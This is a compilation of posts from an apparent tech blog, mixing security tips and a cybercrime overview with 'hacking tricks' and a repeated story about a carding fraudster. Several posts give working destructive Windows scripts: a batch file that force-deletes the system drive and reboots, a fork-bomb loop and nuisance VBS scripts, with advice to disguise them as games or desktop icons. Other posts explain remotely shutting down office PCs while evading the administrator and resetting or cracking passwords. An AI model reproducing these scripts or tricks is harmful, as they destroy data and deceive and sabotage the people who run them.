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Am sure you have experienced this sometimes the internet speed is good and you are receiving the bytes but still some pages take long time to open or even doesn’t allow you to open them at all. You are trying to configure the internet speed but still the page cannot be accessed while other sites are working just fine. On 6^th august 2009 twitter was shutdown for hours, millions of users all over the world were not able to access the site due to DoS, so this is a common thing it can occur to your site or any other site out there.

“a denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a machine or network resource unavailable to its intended users. Although the means to carry out, motives for, and targets of a DoS attack may vary, it generally consists of the efforts of one or more people to temporarily or indefinitely interrupt or suspend services of a host connected to the Internet.” That is the explanation given in the Wikipedia. But actually what is meant to be said is that simply the service provider is being stressed.

For example in the hospital if a single patient keep on coming back to the doctor with different cases every time and the doctor is attending him alone then others will not be able to get the service from the doctor, that is what the hacker does to the server or the site, he is keeping sending multiple request until the server become s stressed and it cannot serve others who are sending request to it. The diagram can explain it clearly.

The attacker in red is the stubborn patient who keeps on coming back to the doctor (server) with different problems (sever requests) and stressed the doctor as the result the doctor will become tired (stressed) and will not be able to attend other patient (users) in the hospital (system). The site which is under DOS attack usually takes time to load and it is running irritatingly slow whenever the user want to access it.

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First I don’t like to be held responsible for whatever happens to your system after practicing these codes. Today Tech360 magazine hacker is going to teach you some deadly codes to mess up the windows PC system files and delete some important files of folders. The files would have the extension of .bat. The codes will simply be type in windows notepad or you can even use notepad ++. These codes cannot be detected by the antivirus and they can immediately cause unexpected damage, so please be careful. We intend to provide knowledge not to cause disasters.

Deleting C drive contents permanently:

The following codes would delete the C-Drive contents permanently; just type them in the notepad and save the file with the extension of anything.bat

@echo off

del %systemdrive%\*.* /f /s /q

shutdown -r -f -t 00

Or you can type these codes:

@Echo off

Del C:\ *.*

Pop out CD drive continuously

These codes will make the cd-drive to pop out continuously; these are VB script files just make sure you save with the extension of anything.VBS before sending it.

Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

Or you can type these codes:

Set oWMP = CreateObject("WMPlayer.OCX.7" )

Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next ' cdrom

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next ' cdrom

loop

End If

Save it as "Anything.vbs" and send it.

Now if you want to disable this go to task manager click on process

Then find wscript.exe and end this process.

Have fun messing around with your PC.

Plugging an infected USB pen drive into your PC will infect it in no time. If your PC is a part of a public network, you must also protect it against physical access. The most frequently affected areas in the computer are the BIOS and the drives; these also affected through the USB ports, Firewire interfaces and similar hardware. The following hardware protection measures are helpful.

Hint: BIOS password is a protection measure that can be used to stop someone powering up a computer system or making changes in some of the computers most sensitive area

In case of the BIOS, you can normally assign two passwords. The ‘User Password’ is requested while booting up the computer and the ‘Master Password’ prevents unauthorized changes to the BIOS settings. But be careful! If you forget these passwords, the only solution will be to reset the BIOS chip by removing the CMOS battery. Another protection option is to allow the PC to boot only from the hard disk and not from any other media. This prevents access through Linux Live CDs such as Ophcrack, which determines the Windows password in a split-second. In the BIOS, you may have disabled booting from floppy disk, USB stick or DVD drives. But in order to protect a running PC, you require a tool that monitors all these drives. The commercial utility DeviceLock does this job efficiently.

You can find a demo version at www.devicelock.com. Truecrypt, from www.truecrypt.org , can encrypt your private data if your PC is often left in an unsecure location. These measures will do a lot to keep you safe and secure both online and offline.

In the night club at night, a handsome young man wearing shiny boot with a clean 21^st century African hair cut style smoking cigar with a beautiful lady on his right hand side. His name is Patoo, oh am sorry he is Patrick that is what he has registered himself in the Indian immigration office in Bangalore, Patoo is what he likes to call himself but his friends call him Obi since he looks like Michael Obi the Chelsea Football Player. But is really name is Vincent Obiereka, The name i didn’t know that until after one year of being friends.

First time when we met at the night club Friday evening after working hours I saw him looking at me, he likes smart people, the way I was dresses he was sure am coming from cooperate company with good cash at the pocket. He came to me and say “Hi bro” do you mind if I join you, I said no big deal have a sit. We talked different stuffs about Africa with laughter and joy until when he asked me, what I do, for the living. I laughed and told am a programmer, he said wow am a programmer too. I was like no way!!! I made a joke “…….and I thought geeks don’t go out to have fun”, he replied geeks don’t have fun but hackers does. I said to myself this is getting interesting, “so you are the hacker by professional? “ I asked him. He told me let’s meet every Friday night I will be telling you stories about Nigerian hackers just make sure you cover the drinks “ahahahahah” I laughed. That is when I started to be friend one of the most wanted Nigerian Hackers in India.

Months have passed I met him again in another night club as usual its Friday night this time he asked me aren’t you going back home for holidays. I told him I wish, i could but cash issues is what make me stack in Bangalore. He asked me what is the problem the ticket or? I said yeah the ticket cost is high bro this season is almost 1800USD up and down wright now and am bit broke. He told me am going to take you home with Emirates economy class for just 200USD……, and I thought the guy was joking, “don’t tell me that shit” i challenged him. He told me don’t give me the cash until I brought to you your ticket with your name on it and you can go to the passenger manifest list at the Emirates HQ Bangalore and confirm your sit if you want. I was like, dudes don’t mess around with me, and we have known each other long enough don’t screw our friendship with these stuffs. He said “I told you, am the hacker but you didn’t ask me who am i working for, which company and how do I make all this money to do these kind of spending”. “am a private hacker, giving back to the people what the rich has taken from them” he insisted. He told me if you are not ready then tell any of your friends who want to go home for just 200 USD to contact me.

One time, the sad news come from back home Tanzania, one of my friend lost his parent and he wanted to come back home. The guy was broke and few months back I told him the story of my hacker friend, he told me please tell him to do something, I told him he is bluffing but the guys insisted until I hook him up with Vincent the hacker. Surprisingly my friend got the ticket from Vincent, a real stuff since he checked with the passenger manifest at the HQ and he was provided with all the privilege including free food and lodging during transit. My friend was afraid but he wanted to come back home, oh yes he came home and attend the funeral for just 400USD ticket costs from the actual price of 1800USD. Believe me I was never shocked in my life like that time, I asked myself what the guy did to get the access to the ticket, and not just a ticket a legit ticket. I asked myself questions without answers now I started to believe the stories of the mighty Nigerian hackers.

I said to myself no way I have to find out how he did it, I asked myself how he got a legit ticket of world most reputed airline without being caught by the authorities or even the airline officials. Now I realized the guy really was the hacker, a big time hacker, with skills to do dangerous stuffs. At that time special task was established in Bangalore and Hyderabad by the Local intelligence authorities to apprehend all cyber criminals since the activities of cybercrimes were increasing at high rate.

Few days have passed still having questions on my head, someone called me, the phone was ringing, checking on the incoming call on my Blackberry 8520 just got released that time, I saw it is Patoo’s number. I picked up we chat a little as usual the he told me we have to meet he have a gift for me. I said tell me what is it, he told me am going to teach you one of the coolest tricks to survive in town and it will be up to you to continue with it or to leave it. He told me I need to expand my industry so I need some Tanzanian to possess the skill so that when I approached Tanzanians with my tickets they should never be afraid since, I will have someone to explain to them what is happening and to remove worries and doubts in their minds on what am doing to attain the tickets. “Oh that’s nice when should we meet” I exclaimed, to me it was a great thing. I didn’t have time to bluff that I don’t want to know while I know what I need, I needed the knowledge and to learn the magic trick that even the smartest people in the airline industry were not able to realize what is going on.

He started by telling me that, last time when we meet I told you that am taking from the rich and give back to the people what was taken from them. Am not going to tell you how am doing that but am going to explain to you the complete mechanism until you got your ticket on your hand. I listened attentively, he said, few years back we gained access to the accounts of so many rich guys in US and other countries, he hesitated to mention them but the problem is we cannot draw money from those accounts since the Banks will realize and we would be in trouble. Actually what we are doing is performing online transactions using those accounts, buying things online and selling them physically to other people. Now, I started to understand him but still there was one doubt, by buying things online it means the accounts will be reduced and the owner’s will definitely at some point of time will realize they have been hacked and someone is tempering with their accounts, I asked him about this. He laughed and told me that’s why am telling you we are doing community services since those fox who own these money they have enough money in their accounts they can’t even if 1,800USD has been deducted from their accounts and if they see this, they would just think that some operational cost from the bank has caused the fluctuation, if not exchange rate. I said ok, so that is how you got the money, so how did you got the ticket. He laughed, you didn’t catch it yet? He asked me then he told me emirates airline or any other airline out there they are not the victims we are just buying the tickets online with full payment, the only problem is that we are not using our online money instead the money we steal online from the rich guys who don’t care about few dimes………for God sake they can’t even realize when we deduct the money………..

He told me, I have told you enough go and tell your people I have ticket for them, if you are in you will have a good cut, otherwise keep on waiting for me to clear your bills on Fridays in the night club, He said it while laughing.

In the night club at night, a handsome young man wearing shiny boot with a clean 21^st century African hair cut style smoking cigar with a beautiful lady on his right hand side. His name is Patoo or am sorry he is Patrick, that is what he has registered himself in the Indian immigration office in Bangalore, Patoo is what he like to call himself but his friends call him Obi since he looks like Michael Obi the Chelsea Football Player. But is really name is Vincent Obiereka, The name i didn’t know that until after one year of being friends.

First time when we met at the night club Friday evening after working hours I saw him looking at me, he likes smart people, the way I was dresses he was sure am coming from cooperate company with good cash at the pocket. He came to me and say “Hi bro” do you mind if I join you, I said no big deal have a sit. We talked different stuffs about Africa with laughter and joy until when he asked me, what do you do, for the living. I laughed and told am a programmer, he said wow am a programmer too. I was like no way!!! I made a joke “…….and I thought geeks don’t go out to have fun”, he replied geeks don’t have fun but hackers does. I said to myself this is getting interesting, “so you are the hacker by professional? “ I asked him. He told me let’s meet every Friday night I will be telling you stories about Nigerian hackers just make sure you cover the drinks “ahahahahah” I laughed. That is when I started to be friend one of the most wanted Nigerian Hackers in India.

Months have passed I met him again in another night club as usual its Friday night this time he asked me aren’t you going back home for holidays. I told him I wish, i could but cash issues is what make me stack in Bangalore. He asked me what is the problem the ticket or? I said yeah the ticket cost is high bro this season is almost 1800USD up and down wright now and am bit broke. He told me am going to take you home with Emirates economy class for just 200USD……, and I thought the guy was joking, “don’t tell me that shit” i challenged him. He told me don’t give me the cash until I brought to you your ticket with your name on it and you can go to the passenger manifest list at the Emirates HQ Bangalore and confirm your sit if you want. I was like, dudes don’t mess around with me, and we have known each other long enough don’t screw our friendship with these stuffs. He said “I told you, am the hacker but you didn’t ask me who am i working for,which company and how do I make all this money to do these kind of spending”. “am a private hacker, giving back to the people what the rich has taken from them” he insisted. He told me if you are not ready then tell any of your friends who want to go home for just 200 USD to contact me.

One time, the sad news come from back home Tanzania, one of my friend lost his parent and he wanted to come back home. The guy was broke and few months back I told him the story of my hacker friend, he told me please tell him to do something, I told him he is bluffing but the guys insisted until I hook him up with Vincent the hacker. Surprisingly my friend got the ticket from Vincent, a real stuff since he checked with the passenger manifest at the HQ and he was provided with all the privilege including free food and lodging during transit. My friend was afraid but he wanted to come back home, oh yes he came home and attend the funeral for just 400USD ticket costs from the actual price of 1800USD. Believe me I was never shocked in my life like that time, I asked myself what the guy did to get the access to the ticket, and not just a ticket a legit ticket. I asked myself questions without answers now I started to believe the stories of the mighty Nigerian hackers.

I said to myself no way I have to find out how he did it, to be continued….

Recent years most of the Tanzania Government sites were made out of Joomla technology. Where by designers download Joomla templates before starting to manipulate them using WAMP server installed in the PC and test the sites in the Local Hosting before launching them to the Public. The methodology of development seems to be simple most of the designers and programmers decided to opt Joomla development as their major means of quick site development but what are the consequences of developing Joomla site without prior concern of security issues please watch the video and for more detailed explanation just folllow this link

Spybot - Search & Destroy detects and removes spyware, a relatively new kind of threat not yet covered by common anti-virus applications. Spyware silently tracks your surfing behaviour to create a marketing profile for you that is transmitted without your knowledge to the compilers and sold to advertising companies.

If you see new toolbar in your Internet Explorer that you haven't intentionally installed, if your browser crashes inexplicably, or if your home page has been "hijacked" (or changed without your knowledge), your computer is most probably infected with spyware. Even if you don't see the symptoms, your computer may be infected, because more and more spyware is emerging. Spybot-S&D is free, so there's no harm giving it a try to see if something has invaded your computer. Spybot-S&D can also clean usage tracks, an interesting function if you share your computer with other users and don't want them to see what you have been working on. And for professional users, Spybot-S&D allows you to fix some registry inconsistencies and extended reports.It can be downloaded from here

Using Batch programming you can do a lot of things, actually I advise you to start now. Batch files are the files with the extension of .bat these files most of the time they tend to affect the system directly. They have strong interaction with the system’s operations. People use these files to create malicious software. Now, this is how you create a virus that restarts the system.

Open Notepad in windows

Type:

cd..

shutdown /t 30 /r /c "a virus has been detected"

save the file with the extension of .bat for example virus.bat and click to run it

The message “virus has been detected" will pop up and the computer will be shut down in 30 seconds and restart again

Put in mind:

/t indicates time interval that can be changed (for that case 30 is for 30 seconds)

/c indicates the message that you want to display

/r indicates restart windows you can change it to /s to only shutdown windows

You can trick your friend by creating an icon on the.bat file and create a shortcut on the desktop pretending it to be a game or frequently used software but when they click it should restart their system, have fun!!!.

With the office password cracker you can be able to view locked files or files which requires authentication to log in. Microsoft office provides users with ability to put security in their files all you have to do is go to:

Tools - Options - security tab-enter your desire password (MS-Office 2003) for MS-Office 2010 users go to File - Info - Permission. Just remember the privileges make sure the authentication options are clear for people not to view or modify, you can allow them to view but not modifying.

To hack office passwords all you need is all in one office passwords cracker. There is software out there advance office password recovery this software is used to recover password lost by the users. Alternatively the software can be used to hack the files. The software can be downloaded from here.

Are you sick and tired of your admin just like me? He is blocking almost everything during office hours you can’t even view your own personal mail address or read some news. Don’t worry you just have to do some few simple configurations with your browser using the tool Ultra Surf. Ultra surf will help you to have your browsing freedom back, provide you with security and privacy. The security is high due to side by side encryption. Protect your privacy online with anonymous surfing and browsing. Ultrasurf hides your IP address and clears browsing history and cookies. When using UltraSurf, the software is set to work on "Auto-Detect Proxy" mode by default; however, if you want to use UltraSurf in "Manual Proxy Setting" mode to add your preferred proxy, you can swiftly set up a proxy in UltraSurf by editing the web browser's proxy settings. For video tutorial ultrasulf.us

Set a Proxy in UltraSurf With Internet Explorer

Start Internet Explorer, click the "Tools" menu and click on "Internet Options."

Then, Click on the "Connections" tab and click on the "LAN settings" tab at the bottom of the window.

Lastly, Click on the text box displayed below the heading that reads "Proxy server," next to "Use a proxy server for your LAN." Type "127.0.0.1", or the proxy the requires address, in the text box located next to "Address" and type "9666" in the text field next to "Port." Click the "OK" tab and click "OK" again to close the window and save the changes.

Set a Proxy in UltraSurf with Firefox browser

Start Firefox, click on the "Tools" menu and click on "Options."

Then, Click on the "Advanced" tab and click on the "Network" tab.

Then, Click on the "Settings" tab next to "Configure how Firefox connects to the Internet." Click on the check box next to "Manual proxy configuration."

Lastly, Type "127.0.0.1", or the proxy you want to use, in the text field located next to "HTTP proxy" and then type "9666" in the text box next to "Port."

It is a normal thing when you want to loge in to your accounts in some browsers you will be asked if you want the browser or the website to remember your password this is the time you stop selecting yes for your own good. The little utility Asterisk Logger does for the whole of Windows what MessenPass does for messenger
programs. It displays the passwords that you’ve entered in Outlook, in your FTTP client or in any other login-protected tool. Instead of asterisks, you will be able to see the obfuscated characters.
But even here we repeat the warning: Use this tool only for your own passwords or else it is a criminal offense. Incidentally, the program AsterWin IE displays passwords that you’ve entered in the Internet Explorer.

Actually is so interesting when you have a trick which you want others to see and they don't know about it. It is obviously that a regular user of the PC will have two to three ways to switch off the PC. But for a geek you must know more than just those few method since it increase your credibility to your clients and distinguish you from the end users of the computer.

first: This the most basic method. Click Start-->Turn Off Computer-->Shut Down. Every computer user will know this method. Actually everyone knows this i prefer you learn other tricks.

Second: Just press Alt+F4 to get the shutdown dialog box. This is quite common too.
Third: Go to your task-bar Either by pressing Ctrl+Alt+Del or by Right clicking the Task-bar and choosing Task Manager. You'll find 'Shutdown' on the Menu bar of the Task Manager. Click it to turn off your computer.

Forth: Press 'Ctrl+Esc' once and then press the 'u' key on the keyboard twice. Your system will automatically shutdown.

Fifth: Another similar method to the above mentioned one. Press 'Windows key' and then press the key 'u' on the keyboard twice to turn off your computer

Sixth: Create a shortcut for shutdown on your desktop. This is how you do it : Right on the desktop and choose 'New Shortcut'. Then type 'shutdown -s -t 00' in the text box provided (shown in the figure below). Click 'Next' and click 'Finish'. Now just use the shortcut to turn off your computer.

The '-s' means shutdown and '-t' is the duration of the time after which you want to initiate your shutdown. You can replace '00' with any number you want. By choosing '03', the system will turn off 3 seconds after you double clicked the shortcut.

Seventh: A similar method to the above one. Go to 'Run' by either pressing 'Windows key + R' or by clicking Start-->Run. Then type 'shutdown -s -t 00' and press 'Ok'

Eighth: And now for the last way of turning off your computer. Go to your 'Task Manager' and click 'Shutdown'. Then keep the 'Ctrl' key pressed and choose 'Shutdown'. This will instantly shutdown the computer.

Its known to be the fastest way to turn off your computer. Feel free to share more methods and just in case you want to share just put it in the comment so everyone can see it. The last method is not advised to be used since the system will turn off as if there is a power crash on restarting you might get some troubles. One more thing you can always enter in the windows command prompt through CMD and type shutdown/? and get all the shutdown options in the prompt interface with explained details.

Most of the times we want to use our phones for more than just a mobile phone to give it the ability to accomplish some tasks more than just making phone calls or browsing to the internet. There is a trick of switching off your computer using your mobile phone. All you need to have is the ability to send mail in your mobile phone and Microsoft outlook in your computer.

Procedures

1. First create the batch files for Hibernate, shutdown or restart using windows command and save the file with the extension of .bat

2. Inside the Notepad type [c:\windows\system32\shutdown -s -f -t 00] without the blazers]

3. Save the file as filename.bat

3. Open and Configure Microsoft Outlook in your computer or the computer you want to perform operations. Configure that Outlook checks the inbox after every 1 minute. Go to Tools: Options.

4. Select the Mail Setup tab and then Send/Receive button.

5. Configure and check the Schedule an automatic send/receive configure the minutes to 1 and close the dialog boxes.

6. Now go to Tools: Rules and Alerts select the options button in the upper right hand corner and press the Import Rules button.

7. Trace the Filename.bat file which you have created and select it.

8. Now, when you send a message from your phone to your e-mail address with the subject shutdown or smsshutdown%%, your computer will shutdown.

For someone like me having all of my works loaded in my email from my blog posts, financial records, partnership agreements, access to my blogs and other things really to have a just a password to protect my stuff isn’t enough. Always I was thinking what would happen if someone hack my account or by mistake someone get access to my password what would I do?

Then Gmail come up with the solution the 2 step verification of the user ID and Password. The idea is great after you longing in to your account using your username and password the text SMS message will be sent to your phone in real time giving you six digit codes which will allow you to access your account and just in case you don’t get the SMS you can simply dial and immediately the machine will reply through your phone mentioning the digits to you.

This helps you in two ways, first even if someone get access to your account he will not be able to access your account. Second, the six digit codes you are receiving they kept on changing each and every time you log in to your account which makes it difficult for someone to hack your account. The other best thing you can easily realizes if someone has hacked to your account since you will get the six digits notification immediately on your phone through the SMS.

2-step verification was introduced by Google it requires two independent factors for authentication, much like you might see on your banking website: your password, plus a code obtained using your phone.

To edit your security settings and upgrade to 2 step verification, just log in in to your Gmail account and follow this link https://www.google.com/settings/security inside it, go to step 2 verification and make sure you activate the step 2 verification.

To learn more about 2-step verification and get started, visit Google Help Center. And for more about staying safe online, see Google ongoing security blog series or visit http://www.staysafeonline.org/. Be safe!

Ok guys, am not responsible for the consequences of your actions, just providing knowledge on how to do these things. I believe you have seen a .bat file at least once in a system. It’s a file with an icon of overlapping gear systems. The .bat files are called batch files in all the things they do they can also be used to create malicious codes in other words called virus. If these codes are written in the Notepad text editor and saved with an extension .bat file they can really cause damage to a computer or network. They can cause system to crash and file to multiply vigorously.

NOW TO MAKE A BATCH:
1) open NOTEPAD
2) start with the following script
@echo off
followed with your commands
3) save as FILENAME.bat
4) Batch file has already been created

Example 1: let’s create a batch file which will open the CMD prompt in 4 times and give out the message “your computer will crash”.

@echo off

msg * YOUR COMPUTER WILL CRASH

start

Example 2: This will crash your computer for really not fun

@echo off

:loop

start joke.bat

Goto loop

Example 3: Try this at your own risk

@echo off

echo You have contacted greentech360.

echo.

pause

cls

echo Searching for greentech360

echo.

pause

msg * greentech360 found

msg * greentech360 is coming

goto a

The message box can't be deleted unless you reboot the computer, and the funny thing is, when the person tries to hide the message box in the corner of the screen where someone can't see it, every few minutes it'll pop up in the middle of the screen.

For advanced users of the batch files you can choose to convert the files to .exe by using compilers available online. The batch files tricks can be used also to create autorun virus by just saving the file as autorun.inf. After creating a .bat file you can easily change the file icon on the desktop by just going to properties and give it a fake name such as Recycle Bin or Internet Explorer and once the user click the file the damage will be done on the system make sure you delete the original icon on the desktop and the file is a shortcut. Please it is illegal to practice these things without the prior concern of the owner of the system has fun. More tricks to come keep visiting greentech360. Please share this pals to increase my traffic.

Take your time and practice windows command prompt codes it’s amazing what you will discover about the power of these codes and the changes they could impact to the system or network. Windows command prompt codes for network includes: NET STAT, NET USER, IPCONFIG, TRACERT and others. To get information and other options available in the command simply type the command followed by (/?) and the detailed explanation of the command will be provide for example (NET USER/?) it will give you the complete list of options available for the commands view my previous article on Windows command Prompt here. Let’s get started:

We are going to shut down the network for a while:

First method

1) Open windows command prompt go to run type CMD

2) Inside the windows command prompt type cd\

3) Then type the command NET VIEW this will show all computers on the network

4) Note: if you type NET you can see all the network options under NET command

5) If the network is not that powerful, you can shut down or log off network PCS, type

SHUTDOWN –I which will display the graphical user interface of the system provided that the security of the network is not that much enhanced.

Second method (shutting down PC’s in the network)

1) Open NOTEPAD

2) Type command.com

3) Save as The file you have juts created using NOTEPAD with .bat extension on it

4) Note: if you type NET you can see all the network options under NET command

5) Now all you have to do is open the file inside it type SHUTDOWN –I

6) After you type SHUTDOWN –I remote shutdown dialog window will pop up with some options

7) Now go to Browse and select the network to search in and add the system you want to shutdown in the network and just click OK it’s done you are good to go.

8) To eliminate admin tracing back to you deactivate warn the users options.

Please try this in a larger network with good security at your office or work station and give me the feedback if it works or not I will more than happy to hear from you guys. Remember do it at your own risk am a trainer not a hacker lol. Please don’t forget to share pals….

Windows Password Killer Pro ready to hack your system in less than 5min

This amazing tool is alternative to several other Linux tools which provide you with administrator privileges of changing the password after it have been set. The most amazing thing is the ability to reset the windows administrator.

The basic requirements to accomplish the task is juts Personal Computer and USB Drive or CD/DVD

Step 1: Password Killer Installation
Download the Windows Password Killer from this Link.
Install the windows Password Killer in your system or any other system.

Step 2: Burn a bootable CD/DVD or an USB drive

Insert the USB Drive or CD/DVD.
Run the Windows Password Killer.
Select the USB drive or CD/DVD.
Select the Create button.
It will ask you to verify whether you select correct disk or not. Click "Yes" button.

Step 3: Boot from USB Drive OR CD/DVD
Now let us come to our locked computer.

Insert your USB Drive before turn on the system (if you are using CD/DVD, you have to turn on and insert).
Now turn on the system, press F10 or F12 (it may vary for your system) to choose the booting device.
Select the USB drive or CD/DVD.

It will boot into Windows Password Killer.

Step4: Resetting Password
After program starts, select Windows 7 system on the start page, click 'Next'.

Select your target user accounts, and then click 'Next' to continue the Windows 7 password recovery/unlock process.

The Windows 7 Administrator password or other user accounts password is reset successfully now. Take out the password reset CD/DVD, click 'Reboot' to restart your computer.

Have Fun and Enjoy hacking Please don’t abuse the knowledge.

Cybercrimes is emerging as serious threat to the word of computer technologies, government authorities, police and national intelligence agencies are acting towards the issue closely. Different strategies are put into action trying to combat the problem. Most organizations in recent days have taken a considerable decision to try and educate their employees and officials about the effects of cybercrimes and the importance of cyber security.

Cyber security is just a terminology composed of two words “cyber” and “security” digesting from the English dictionary cyber simply means being connected either virtually or physically. Given that we realize cyber security is just the security which is provided to you when you are connected. The questions is when you are connected to what, to the cyber world wither in an internet, office network or any other kind of network. The crimes which are executed when you are connected to the cyber world are what we call the cybercrimes. These crimes include phishing, illegal hacking, Vishing, Cyber stalking, botnet and others.

Actually Phishing It is among the internet fraud involving getting financial information illegally online through spam email pretending to be from bank or institution or someone can create a dumb site and request you for your bank accounts credentials. Most of the time they will request for your accounts password or account number and tell you they want to verify your account. Actually the main intention is to use your credentials for illegal activities. In Tanzania recently most of the people have been victims of Phishing but through mobile phones through e-money transfers. Most of the people have been tricked to send their passwords to the cybercriminals who in turn stole money from their accounts. Recently there was a story of guy from a local bank who used to access his bank account through mobile was reported that all his money was stolen from his bank account after receiving a SMS message telling him you are the winner of certain stuffs and requires him to send his credentials through his phone which in turn allowed the criminals to access his accounts using their phone.

We have hacking, hacking is not a crime unless is done without a prior notice to the user of the account or records. Sometimes people hack their own network to check for any loop holes which might provide the rooms of attack from the cyber -criminals. Large companies these days’ higher hackers to hack into their systems and networks so that they can check or discover any vulnerability in their security systems. Hacking is a career also there are several certification in ethical hacking provided by different organization everywhere in the world. Sometimes is not necessarily to get in and still some data from the server or database the action itself of breaking into someone else online private data without the user’s awareness is considered to be a crime and for country with strong cyber laws is punishable by law.

Vishing, is the criminal practice of using social engineering voice over IP (VoIP) to access to private personal information from the public for the purpose of financial reward. The term is the combination of voice and phishing. Phishing is to request confidential information over the Internet under false pretenses in order to fraudulently obtain credit card numbers, passwords, or other personal data. This is when is used in technology don’t confuse with its normal usage. Social engineering is the use of communication skills and quick wits in order to turn a scenario into a favorable situation. You have seen it the movies were by someone comes and try to talk down a another person smartly until I got a sensitive information needed can either be the name of the boss, ID number or password of some files, that is social engineering. VoIP is a protocol for transmitting the human voice in digital form over the Internet or other networks as an audio stream, instead of using traditional telephone lines. When the two combines VoIP and Phishing is when we have vishing.

Cyber stalking basically is an act of online stalking like a real world stalkers they always disturb you and want to interact with you without your prior concern. The activities involve online harassment and abuse. It involves threatening behaviors or objects which disturbs the user of the internet. Most of the time we don’t know that we are committing this crime, posting pictures into someone’s social networking walls tagging them into offensive stuffs or even emailing them weird messages is considered to be cyber stalking. You are removing the right of privacy and freedom to enjoy the internet of another user.

Botnet is a collection of compromised computers, each of which is known as a 'bot', connected to the Internet. When a computer is compromised by an attacker, there is often code within the malware that commands it to become part of a botnet. The "botmaster" or "bot herder" controls these compromised computers via standards-based network protocols such as IRC and http this id from the Wikipedia explanation, the easy explanation is that the Bot - Net is the Bot network a compromised network in which the owner of the network has no longer power over it since it is being controlled by someone from outside or using another system which have already taken the control called botmaster. This most of the time is done by hackers for ransom to the big companies or organizations.

There are so many other cyber-crimes out there this is just an introduction, before you use the internet we expect you to know your rights and responsibilities. Users of technology have the obligation to make the cyber space the most secure space for someone to use and navigate. The internet is no longer safe that is the reality, always be careful with what you give to the internet because once you take it out there you can get it back. Wither is the photos with your family or anything else. Develop attitude of changing your passwords after some time pass and always don’t give your personal details to any site or person online. For more details about cyber security you can read my paper from slide-share. Am hoping to prepare free seminar on cyber- security soon enough. Stay safe play safely online.

Useful Links:

Cyber security Tanzania Country Report

Cyber security case study Tanzania

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